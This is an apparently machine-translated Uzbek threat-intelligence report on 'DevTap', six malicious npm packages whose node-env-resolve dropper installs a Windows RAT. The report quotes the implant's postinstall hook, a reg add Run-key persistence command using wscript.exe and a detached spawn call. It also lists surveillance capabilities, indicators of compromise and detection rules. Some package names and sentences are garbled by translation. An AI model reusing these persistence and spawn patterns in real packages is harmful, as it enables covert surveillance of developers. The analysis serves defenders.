DevTap npm Typosquatting hujumi

DevTap npm Typosquatting hujumi: Oltita zararli paket ishlab chiquvchi ish stantsiyalarini nishonga oladi

TP; DR

2026-yil 1-apreldan 3-maygacha bo'lgan davrda bitta npm nashriyotchisi, user0001, tasdiqlanmagan Gmail manzili bilan ro'yxatdan o'tgan tanvisoul9@gmail.com, ataylab xira, infratuzilmaga oid nomlar bilan oltita paketni jimgina itarib yubordi: centralogger, dom-utils-lite, node-fetch-lite, connector-agent, node-gyp-runtimeva node-env-resolve.

Eng so'nggi ikki versiya node-env-resolve, 1.0.7 va 1.0.8 versiyalari 2-may kuni Xygeni'ning zararli dasturlarni erta ogohlantirish (MEW) tizimi tomonidan belgilandi va 3-may kuni zararli ekanligi tasdiqlandi.

Implant o'ziga xos bo'lmagan narsaga qaramay g'ayrioddiy: Telegram botlari, OAST qayta qo'ng'iroqlari yo'q, yo'q obfuscationva o'rnatish vaqtida AWS hisob ma'lumotlarini olishga urinish yo'q. Buning o'rniga, postinstall.js ishga tushiruvchi HKCU Run tugmasidan foydalanib, Windows yuklash doimiyligi yozuvini o'rnatadi wscript.exe VBS stubiga qarshi. Keyin u mikrofonni yozib olish, brauzer tarixini o'g'irlash, skrinshot olish va sichqoncha/klaviatura simulyatsiyasi uchun modullarni birlashtirgan alohida Node.js agentini ishga tushiradi.

Biz bu klasterni chaqiramiz DevTap, to'plamdan keyin u ishlab chiquvchining mashinasida ishlayveradi.

Yozish paytida barcha oltita paket npm da ishlayotgan edi. Biz ularni reyestrning suiiste'mol qilish kanaliga yubordik. Himoyachilar nashriyotdan olib tashlanishi kutilayotgan barcha o'rnatishlarni olib tashlashlari kerak.

Klaster: Oltita paket, bitta nashriyotchi

Nashriyotchi hisobi user0001 tasdiqlanmagan. Unda yo'q SCM tasdiqlash, domenga bog'liq elektron pochta xabarlari yo'q va oldingi tarix yo'q. Gmail manzili tanvisoul9 biz topa olgan boshqa npm nashriyot yozuvlarida ko'rinmaydi.

Oltita paketning barchasi bir xil texnik xizmat ko'rsatuvchini ko'rsatadi, bir xil hisobdan nashr etilgan va bir xil ma'lumotlarni baham ko'radi package.json Qozon plitasi. Yo'q repository, yo'q homepageva yo'q description bitta qatordan uzunroq.

Nomlash strategiyasi qiziqarli qismdir. Klassik qaramlik chalkashligi yoki xato yozish kampaniyasidan farqli o'laroq, bu nomlarning hech biri ma'lum bir yuqori oqim kutubxonasiga qaratilgan emas. Buning o'rniga, ular haqiqiyga aylanib yo'qolish uchun kalibrlangan. package.json or npm ls chiqdi.

To'plamAvval chop etilganOxirgi versiyaversiyalariKlasterdagi roli
markaziy logger2026-04-01 12:46 UTC1.0.95, 1.0.5 dan 1.0.9 gachaKlasterning “jurnallarni yuritish yordamchi dasturi” muqovasi; eng erta nashr etilgan
dom-utils-lite2026-04-14 07:36 UTC1.0.33Umumiy DOM-yordamchi muqovasi
tugun-olish-lite2026-04-19 10:22 UTC1.0.23Mimics tugun-yuklash oilasi
ulagich-agent2026-04-25 05:12 UTC1.0.01Umumiy nomli "agent"
tugun-gyp-ish vaqti2026-04-25 05:17 UTC1.0.01Mimics native-modul yaratish vositalarini taqlid qiladi
tugun-env-hal qilish2026-04-25 05:21 UTC1.0.910, 1.0.0 dan 1.0.9 gachaFaol tomizgich; to'liq implant

Ismlar o'xshash centralogger, node-fetch-liteva node-gyp-runtime kodni ko'rib chiqishda bahssiz ko'rinish uchun mo'ljallangan. Ular loyihaning bog'liqlik daraxtida allaqachon mavjud bo'lgan narsalarga o'xshaydi.

Yangi, tasdiqlanmagan nashriyotchi va yo'qolgan ombor havolalari bilan birgalikda ular taniqli naqshni hosil qiladi: aktyor reyestrga past ishqalanishli nomlarni joylashtiradi, keyin esa muhim bo'lgan nom ustida tezda takrorlanadi. Bu holda, node-env-resolve sakkiz kun ichida o'nta versiyani oldi.

Windows Dev Boxga nima tushadi

Zararli zanjir yoqilgan node-env-resolve:1.0.8 npm RAT uchun qisqa, to'g'ridan-to'g'ri va g'ayrioddiy xususiyatlarga boy.

Postinstall: Qat'iylik va Alohida Agent

package.json bitta o'rnatish kancasini e'lon qiladi:

{ "scripts": { "postinstall": "node postinstall.js" } }

postinstall.js uchta ishni tartibda bajaradi.

Birinchidan, u npm daraxti tashqarisida o'rnatish katalogini bosqichma-bosqich joylashtiradi. Yo'l skriptda ish vaqtida quyidagicha hisoblanadi INSTALL_DIRKeyin u ichki ishlaydi execSync('npm install --production --silent ...') implantning ish vaqtiga bog'liqliklarini olish uchun uning ichida. Bu agentni qo'llanmada ko'rsatilgan diskka joylashtiradi. node_modules audit topa olmaydi.

Ikkinchidan, u VBS ishga tushirgichini yozadi va uni yuklashning barqarorligi uchun qayd qiladi:

reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run \     /v ${AGENT_NAME} \     /t REG_SZ \     /d "wscript.exe \"${vbsPath}\"" /f

wscript.exe Windows Script Host, ishlaydigan imzolangan Microsoft ikkilik fayli .vbs konsol oynasi bo'lmagan fayllar. Bu oldindancisNima uchun u autorun stublari uchun afzal ko'riladi.

Shuningdek, moslik ham mavjud reg delete ichkaridagi yo'l src/index.js, bu implant operator buyrug'i bilan toza olib tashlanishi uchun mo'ljallanganligini anglatadi.

Uchinchidan, u alohida bola jarayonini keltirib chiqaradi:

spawn(node, [path.join(INSTALL_DIR, 'src/index.js')], {   detached: true,   env: { ...process.env, SERVER_URL } })

Bu yerda ikkita tafsilot muhim.

SERVER_URL muhitdan o'qiladi. Natijada, C2 so'nggi nuqtasi har bir joylashtirish uchun sozlanishi mumkin va paketga kiritilmaydi. Bu kichik, ammo ataylab tanlangan tanlov ko'pgina statik-IOC tozalashlarini mag'lub etadi.

Shuningdek, tug'ilgan bola to'liq ota-ona muhitini meros qilib oladi. Shuning uchun, har qanday NPM_TOKEN, AWS_*, GITHUB_TOKEN, yoki o'rnatish vaqtida ishlab chiquvchi qobig'ida mavjud bo'lgan SSH-agent soketi uzoq muddatli agent xotirasiga o'tadi.

Agent nima bilan jo'natadi

To'plangan src/ daraxt uchta modulni o'z ichiga oladi, ularning nomlari o'zi hikoyani hikoya qiladi: audioCapture.js, browserHistory.jsva systemInfo.js.

Bosqichli bosqichda hal qilingan ish vaqtiga bog'liqlik ro'yxati npm install, ularni tasdiqlaydi.

Bu yondashuv tartibsiz hodisani nazorat ostidagi javobga aylantiradi.

Jamoalar ko'r-ko'rona reaksiya qilish o'rniga, quyidagilar bilan ishlaydi aniq ustuvorlik berish va tezkor tuzatish.

qo'shadiBu kontekstda nima uchun kerak
skrinshot-ish stoliDavriy ekran tasvirini olish
@nut-tree-fork/nut-jsSichqoncha va klaviaturani avtomatlashtirish / kiritish simulyatsiyasi
yaxshiroq-sqlite3Chrome, Edge va Firefox tarixi SQLite ma'lumotlar bazalarini to'g'ridan-to'g'ri o'qish
adm-zipEksfiltratsiyadan oldin to'plangan artefaktlarni birlashtirish
O'tkirSkrinshotlar va tasvir artefaktlarini o'lchamini o'zgartirish/siqish
socket.io-mijozDoimiy ikki tomonlama C2 kanali
tugun-mashina-identifikatoriJabrlanuvchilarni kuzatish uchun har bir xost uchun barqaror barmoq izi

systemInfo.js Qo'ng'iroqlar os.networkInterfaces() birinchi mayoqdan oldin qo'shimcha barmoq izlari uchun.

Nima uchun audio yozuv ajoyib signal hisoblanadi

MEW da biz trializatsiya qiladigan ko'pgina npm RATlar o'rnatish vaqtidagi maxfiy o'g'irlikda to'xtaydi. Ular o'qiydilar ~/.npmrc, o'qing ~/.aws/credentials, qirib tashlash process.env, Veb-hukka POST qiling va chiqing. Bu "mag'lub et va ushla" iqtisodiy modeliga mos keladi. Ishonchnomalarning yarim umri qisqa va hujumchi tezda pul ishlashi kerak.

node-env-resolve shakli jihatidan farq qiladi.

Qat'iylik qayta ishga tushirishdan omon qolish uchun sozlangan. Agent alohida ishlaydi va uzoq vaqt davomida ishlaydi wscript.exeUning to'plami ishlab chiquvchining mashinasida bo'lish uchun mo'ljallangan, olib ketish uchun emas: mikrofon yozib oluvchi, klaviatura/sichqoncha drayveri, brauzer tarixini to'liq qabul qilish, ekran tasvirini olish va sozlanishi mumkin bo'lgan C2 ga qaytarish uchun interaktiv Socket.IO kanali.

Ayniqsa, mikrofonni ushlash - bu kampaniyaning aksariyat npm zararli dasturlari kesib o'tmaydigan chegarasi.

Dasturchi ish stantsiyasi tobora ko'proq ishlab chiquvchilar stend-uplar, mijozlar qo'ng'iroqlari, dizayn muhokamalari va chaqiruv ko'priklarini qabul qiladigan ish stantsiyasiga aylanib bormoqda. Mikrofonni yozib oluvchi implant aslida ishlab chiquvchining npm tokenidan emas, balki ishlab chiquvchining noutbuk oldida aytganlaridan keyin bo'ladi.

Ushbu imkoniyatlar to'plami, shuningdek, chalkashlikning yo'qligi va o'rnatish vaqtidagi yorqin eksfiltratsiyaning yo'qligi, imkoniyatli hisob ma'lumotlarini o'g'irlash o'rniga maqsadli kirish uchun oldindan joylashtirilgan holat sifatida o'qiladi.

Biz faqat shu asosda mualliflik huquqini da'vo qilmayapmiz. Biz operatsion profilga e'tibor qaratmoqdamiz.

npm typosquatting hujumi - DevTab

Sakkiz kunlik iteratsiya tezligi node-env-resolve vaqt jadvalidagi eng operatsion jihatdan eng muhim tafsilotdir.

Bu "o't qo'yib, unut" degani emas. Nashriyotchi dropperni faol ravishda qo'llab-quvvatlamoqda, bu odatda ikkita narsadan birini anglatadi. Yoki ular kengroq joylashtirishdan oldin uni sinov muhitlariga moslashtirmoqdalar yoki ular allaqachon o'rnatish telemetriyasi qaytib kelmoqda va unga javob bermoqdalar.

Qolgan beshta paket dastlabki nashrdan keyin deyarli hech qanday o'zgarishni ko'rmadi. Bu qo'llab-quvvatlovchi klaster uchun "bir bosqichdan so'ng, nomlangan holda qoldiring" naqshiga mos keladi, muhandislik sa'y-harakatlari esa ishni bajaradigan paketga qaratilgan.

Mualliflik huquqi: Kichik ishoralar, qat'iy qaror yo'q

ijtimoiy OSINT signallar yupqa va biz ularni cho'zmaymiz. Kuzatiladigan narsa:

Gmail tutqichi tanvisoul9 qisman Janubiy Osiyoliklarning "Tanvi" nomiga o'xshaydi. Bu zaif signal. Gmail manzillari identifikatsiya emas va orqada qoladiganlar soul9 umumiydir. Faqat elektron pochtaning mahalliy qismidan geografiyani aniqlash xavfsiz emas.

Kod uslubi ajoyib Node.js: standard kutubxona chaqiruvlari kabi os, child_process, spawnva reg addHech qanday chalkashlik, satrlarni aylantirish va nosozliklarni tuzatishga qarshi mantiq yo'q. Muallif Windows registri primitivlari va ajratilgan bola jarayoni orkestratsiyasi bilan qulay, ammo ular foydalanishi mumkin bo'lgan yashirinroq savdo vositalariga intilmayotganga o'xshaydi.

Bog'liqliklar butunlay noaniq va yaxshi ma'lum: screenshot-desktop, nut-js, better-sqlite3va socket.io-clientDarslikdan tashqari maxsus protokol, noldan boshlab o'rnatilgan C2 steki va yangi qat'iylik hiylasi yo'q. HKCU ishga tushirish tugmasiBu vosita muallifi emas, balki malakali integrator.

Nashr qilingan artefaktlarda biz ingliz tilidan tashqari satrlar, o'rnatilgan izohlar, mahalliy ma'lumotlar yoki kompilyator chiqishi vaqt mintaqasi izlarini topmadik.

Biz allaqachon kuzatib borgan oldingi kampaniyalar bilan kodlarning mos kelishini tekshirdik, jumladan Shay Hulud, Boyqush, Buildkite va yaqinda paydo bo'lgan heibai / claude-code-best Antropik-CLI klon oilasi. Biz hech birini topmadik: umumiy C2 naqshlari, umumiy fayl maketlari va umumiy iboralar yo'q.

Biz nima demoqchi emasmiz: bu davlat aktyori, ma'lum guruh yoki geografik jihatdan biron bir muayyan mamlakatga bog'liq.

Operatsion profil ishlab chiquvchi ish stantsiyasini kuzatuvchi kichik, o'rtacha malakali jamoa bilan mos keladi. Bu, ehtimol, kirishdan keyingi foydalanish orqali moliyaviy jihatdan rag'batlantirilgan, ammo, ehtimol, alohida xaridor uchun xizmat sifatida razvedka qilish ham mumkin.

Ikkita bilvosita fikr quyidagilarni qo'llab-quvvatlaydi: Telegram botlari kabi klasterni tezda yoqib yuboradigan diqqatni jalb qiluvchi eksfiltratsiya mexanikalaridan qochish. oastify.comyoki canarytokens va ataylab qo'pol paket nomlari, ular qisqa muddatli yuqori hajmli o'sish o'rniga jimgina uzun quyruqli o'rnatishlarni afzal ko'rishadi.

Murosaga kelish va aniqlash ko'rsatkichlari

Paketlar va nashriyotchi
dalaqiymati
npm nashriyotchisiuser0001
Nashriyotchi elektron pochtasitanvisoul9@gmail.com, tasdiqlanmagan
paketlarcentralogger, dom-utils-lite, node-fetch-lite, connector-agent, node-gyp-runtime, node-env-resolve
Zararli ekanligi tasdiqlandinode-env-resolve@1.0.7, node-env-resolve@1.0.8
Xost artefaktlari
Shriftqiymati
Doimiylik kalitiHKCU\Software\Microsoft\Windows\CurrentVersion\Run
Doimiylik qiymatiO'zgaruvchi nomi; wscript.exe formasining ma'lumotlari " \\ .vbs"
Ilgakni o'rnatishpostinstall: paket manifestida postinstall.js tuguni
Implant modullarisrc/audioCapture.js, src/browserHistory.js, src/systemInfo.js
Sahnalashtirish katalogiINSTALL_DIR loyihaning node_modules tashqarisida hal qilindi; joylashuv postinstall.js tomonidan o'rnatish vaqtida o'rnatildi
tarmoq
Shriftqiymati
C2 transportisocket.io-mijoz, doimiy ikki tomonlama kanal
C2 tugash nuqtasiAgentga SERVER_URL muhit o'zgaruvchisi orqali taqdim etilgan; nashr etilgan artefaktlarga qattiq kodlanmagan

Aniqlash bo'yicha eslatmalar

Ikkita qoida bu oilani C2 so'nggi nuqtasiga ehtiyoj sezmasdan ushlaydi.

Birinchidan, ichki bajaruvchi postinstall skriptlarini belgilang npm install paketning o'z katalogidan tashqaridagi yo'lga. Har qanday qonuniy oldindan tuzilgan yuklab oluvchi, masalan node-gyp ikkilik yuklab oluvchilarni qayta tiklaydi yoki oldindan o'rnatadi, paket ichida yoki platformaga yozadi-standard Tasdiqlangan xeshlar bilan kesh yo'llari. U yangi yaratilgan faylga yozmaydi INSTALL_DIR diskning boshqa joyida.

Ikkinchidan, muammo tug'diradigan postinstall skriptlarini belgilang reg add HKCU\…\Run bilan wscript.exe ishga tushirgich sifatida. Bu asosan npm paketidan hech qachon qonuniy emas. Uni belgilang va karantinga oling.

Uchinchi evristik usul keyingi aka-uka paketini tasdiqlashdan oldin aniqlash uchun foydalidir: yangi npm nashriyotchisi, unda ... yo'q. SCM tasdiqlash, Gmail elektron pochtasi, yo'q repository maydon va bir-biridan bir necha kun farq bilan nashr etilgan bir nechta qisqa, umumiy, infratuzilmaga asoslangan paket nomlari, o'z-o'zidan, qo'lda ko'rib chiqishni oqlash uchun etarli.

npm reestriga xabar berildi. Nashriyotchi hisobi olib tashlanganida biz ushbu xabarni yangilaymiz.

sca-vositalari-dasturiy ta'minot-kompozitsiya-tahlil-vositalari
Dasturiy ta'minot xavflaringizni ustuvorlashtiring, bartaraf eting va himoya qiling
Bepul hisobingizni oling.
Kredit karta talab qilinmaydi.

Dasturiy ta'minotingizni ishlab chiqish va yetkazib berishni ta'minlang

Xygeni mahsulot to'plami bilan